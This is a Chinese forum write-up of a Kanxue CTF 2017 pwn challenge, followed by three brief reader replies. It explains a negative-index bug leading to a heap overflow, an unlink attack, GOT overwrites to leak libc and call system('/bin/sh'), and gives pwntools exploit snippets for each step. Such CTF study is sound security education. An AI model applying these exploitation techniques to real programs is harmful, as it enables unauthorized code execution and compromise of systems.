首页
社区
课程
招聘
[原创]看雪CTF2017第4题wp
2017-6-9 10:28 4859

[原创]看雪CTF2017第4题wp

2017-6-9 10:28
4859

程序运行后,输入用户名后显示命令列表,类似于记事本存储管理,实际上只有前3项命令有用,第4项“查看”是摆设,无实际功能:


把程序扔IDA里开始先分析程序流程,对应上面的程序功能:

接着就开始找这3个主要函数的漏洞,先看创建节点的函数create,理解存储节点的大致流程:

上面代码新建的节点最后被保存到一个处于.bss段的全局数组列表里了,每个元素存储一个对应的堆地址,紧跟着后面的一个QWORD对应存储了其使用标志位g_flag_list[i]

而对应的节点size保存在另外一个列表里,这个列表是在程序一开始时申请的堆内存里,大小为0x14,意味着预定保存5个节点的size,列表的地址保存在一个全局变量g_size_list里,同样位于.bss段里较前面的位置:

既然列表预定存储5个节点,我们先看看是否有漏洞“越界”,发现输入索引调用的函数“input_number”可以利用:

这里调用atoi函数将用户输入的字符转换为数字,返回为无符号整型数,而上层调用的接收变量定义却为整型数,于是可以输入一个负数直接造成数组“向上”越界,索引到g_node_list前面(低地址)的“负元素”。这个漏洞有什么用呢,因为g_size_list正好在g_node_list的前面位置(索引为-2),所以可以将其进行修改,填充一些大值,使得原本已经创建的节点堆块的size“无形”中变大,造成在后面编辑节点时可以进行堆溢出:

#create smallbins list
size = 0x80
for i in range(0, 2):
         create(size, i, chr(ord('a') + i) * size)
#change g_size_list to expand heap size to overflow
create(size, -2, chr(ord('a') + 2) * size)

此时已具备堆溢出的条件,对0号节点进行编辑可以覆盖到1号节点所属的堆块范围,于是我们进行unlink方式的堆利用,在0号节点堆块的buf伪造好一块“已释放”的前堆块,然后覆盖1号节点堆块的pre_size头和当前size头里的前块使用标志pre_inuse,使得在释放1号节点堆块的时候认为前块堆块空闲要进行合并触发unlink操作,相关具体原理请自行查阅资料,这里贴一下本题的操作:

#unlink exp to rewrite g_node_list[0] to fd(g_node_list - 0x18)
#1st chunk buf to fake_chunk
g_node_list = 0x6020e0
p = g_node_list + 0x0
fd = p - 0x18
bk = p - 0x10
payload = ""
payload += p64(0) + p64(0x81) + p64(fd) + p64(bk)
payload += "A" * (0x80 - 4 * 8)
#2nd chunk
payload += p64(0x80) + p64(0x90)
edit(0, payload)
#unlink
delete(1)
print 'unlink sucess!Now: g_node_list[0] = g_node_list - 0x18'

成功执行完unlink操作后的结果就是,0号节点的地址g_node_list[0]被修改成被伪造堆块的fd指针,也就是“g_node_list - 0x18”的位置,这样意味着,0号节点不再指向堆块,而是指向的.bss段的地址:

此时我们对0号节点进行编辑,就会再次覆盖到0号节点的地址位置,将其修改成地址更前面,可控范围更大的地方:

#edit g_node_list[0] to rewrite g_node_list[0] to control more big range data
g_node_list0 = g_node_list - 0x30
edit(0, p64(1) + p64(0) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewrite g_node_list0 to expand range'

这样一来,编辑范围扩大到也覆盖到了g_size_list了,于是我们可以再次编辑,来修改g_size_list(这里我选择改成got表中间项,前后的数据足够大),以便后面引用“负节点”时对应的size够用,顺便把需要的一些地址放置到某些“负节点”上:

#edit g_node_list[0] to rewrite g_size_list to a pointer which(@got addr mid) can expand the g_node_list[i] size, then put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]
got_free = 0x602018
got_atoi = 0x602058
got_addr_mid = 0x602038
edit(0, p64(got_free) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewite g_size_list and put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]'

通过这样搭配修改g_size_list和负节点指针数据,基本上可以实现任意地址写的功能,从而可以将-3号的节点存放的free@got指针,编辑为puts@plt,这样后面调用free时能够劫持程序跳转到puts函数去执行打印操作,泄漏任意地址的数据,如泄漏atoi@got的数据得到atoi的函数地址,从而根据提供的libc文件中函数偏移量可以计算出system函数的地址:

#edit g_node_list[-3] to rewrite free@got to puts@plt, the delete g_node_list[-1] to leak atoi address and calc the address of system
plt_puts = pwnfile.plt['puts']
edit(-3, p64(plt_puts), False)
print 'rewrite free@got to puts@plt'
leak = delete(-1, True)
print 'leak the content of atoi@got'
addr_atoi = u64(leak[1:7].ljust(8, '\x00'))
addr_system = addr_atoi + offset
print 'addr_atoi : %08x' % addr_atoi
print 'addr_system : %08x' % addr_system

其实,因为可以泄漏任意地址的数据,完全可以写一个leak函数,再使用pwntools的工具库DynELF来泄漏system函数的地址,而不必要提供libc文件(可能提供libc文件有其他的意思,比如unlinkcheck版本),这里因为时间关系暂不演示了。

而拿到system地址后就简单了,用同样的手法编辑一下atoi@got,改成system的地址,传入参数“/bin/sh\x00”,成功getshell

#edit g_node_list[0] to put atoi@got to g_node_list[-3] (because g_node_list[-1] have been free the the flag is 0), then edit g_node_list[-3] to rewrite atoi@got to system adress and finally get shell
edit(0, p64(got_atoi) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'reput atoi@got to g_node_list[-3]'
edit(-3, p64(addr_system), False)
print 'rewrite atoi@got to system address'
target.sendline("/bin/sh\x00")
target.interactive()

本地实验成功后,指定好远程libc的偏移,切换远程target,拿flag

 



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞1
打赏
分享
打赏 + 10.00雪花
打赏次数 1 雪花 + 10.00
 
赞赏  jren   +10.00 2017/06/09
最新回复 (3)
雪    币: 65
活跃值: (540)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
jren 2017-6-9 14:03
2
0
"因为g_size_list正好在g_node_list的前面位置(索引为-2),所以可以将其进行修改,填充一些大值,使得原本已经创建的节点堆块的size“无形”中变大,造成在后面编辑节点时可以进行堆溢出"
666
雪    币: 347
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
asmc 1 2017-6-9 15:11
3
0
赶紧学python
雪    币: 60
活跃值: (79)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
返無歸一 2017-6-9 17:26
4
0
我的切入点跟作法你一样,但是没能想出怎麽leak  QQ
游客
登录 | 注册 方可回帖
返回